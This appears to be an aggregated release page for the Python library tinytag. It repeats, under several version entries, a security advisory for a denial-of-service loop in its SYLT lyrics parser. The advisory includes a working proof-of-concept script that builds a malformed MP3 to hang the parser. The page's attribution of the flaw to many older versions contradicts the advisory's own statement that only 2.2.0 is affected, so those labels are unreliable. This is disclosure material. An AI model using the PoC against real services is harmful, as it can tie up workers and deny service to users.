tinytag

Version	Released
`2.3.2` patch	Sep 07, 2026
`2.3.1` patch	Aug 30, 2026
`2.3.0` minor	Jul 30, 2026
`2.2.1` patch	Mar 15, 2026
`2.2.0` minor 1 CVE	Dec 15, 2025
`2.1.2` patch 1 CVE	Aug 13, 2025
`2.1.1` patch 1 CVE	Apr 23, 2025
`2.1.0` minor 1 CVE	Feb 23, 2025
`2.0.0` major 1 CVE	Nov 03, 2024
`1.10.1` patch 1 CVE	Oct 26, 2023
`1.10.0` minor 1 CVE	Oct 18, 2023
`1.9.0` minor 1 CVE	Apr 21, 2023
`1.8.1` patch 1 CVE	Mar 12, 2022
`1.8.0` minor 1 CVE	Mar 05, 2022
`1.7.0` minor 1 CVE	Dec 14, 2021
`1.6.0` minor 1 CVE	Aug 28, 2021
`1.5.0` minor 1 CVE	Nov 05, 2020
`1.4.0` minor 1 CVE	Apr 23, 2020
`1.3.1` minor 1 CVE	Mar 09, 2020
`1.2.2` patch 1 CVE	Apr 13, 2019
`1.2.1` patch 1 CVE	Apr 13, 2019
`1.2.0` minor 1 CVE	Apr 13, 2019
`1.1.0` minor 1 CVE	Apr 13, 2019
`1.0.1` patch 1 CVE	Apr 13, 2019
`1.0.0` major 1 CVE	Dec 12, 2018
`0.20.0` minor 1 CVE	Oct 04, 2018
`0.18.0` minor 1 CVE	Apr 29, 2017
`0.17.0` minor 1 CVE	Oct 02, 2016
`0.16.0` minor 1 CVE	Aug 06, 2016
`0.15.2` patch 1 CVE	Aug 06, 2016
`0.15.0` minor 1 CVE	Jun 05, 2016
`0.14.2` patch 1 CVE	Jun 05, 2016
`0.14.1` minor 1 CVE	Jun 05, 2016
`0.13.1` minor 1 CVE	Apr 03, 2016
`0.12.0` minor 1 CVE	Feb 02, 2016
`0.11.0` minor 1 CVE	Feb 01, 2016
`0.10.1` patch 1 CVE	Oct 12, 2015
`0.10.0` minor 1 CVE	Oct 12, 2015
`0.9.3` patch 1 CVE	Jul 19, 2015
`0.9.2` patch 1 CVE	Jun 14, 2015
`0.9.1` patch 1 CVE	May 17, 2015
`0.9.0` minor 1 CVE	May 17, 2015
`0.8.1` patch 1 CVE	May 17, 2015
`0.8.0` minor 1 CVE	Apr 03, 2015
`0.7.2` patch 1 CVE	Oct 24, 2014
`0.7.1` minor 1 CVE	Sep 01, 2014
`0.6.1` patch 1 CVE	Jun 30, 2014
`0.6.0` initial 1 CVE	Apr 30, 2014

2.3.2 patch

Sep 07, 2026

2.3.1 patch

Aug 30, 2026

2.3.0 minor

Jul 30, 2026

2.2.1 patch

Mar 15, 2026

2.2.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 15, 2025

2.1.2 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Aug 13, 2025

2.1.1 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 23, 2025

2.1.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 23, 2025

2.0.0 major

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 03, 2024

1.10.1 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
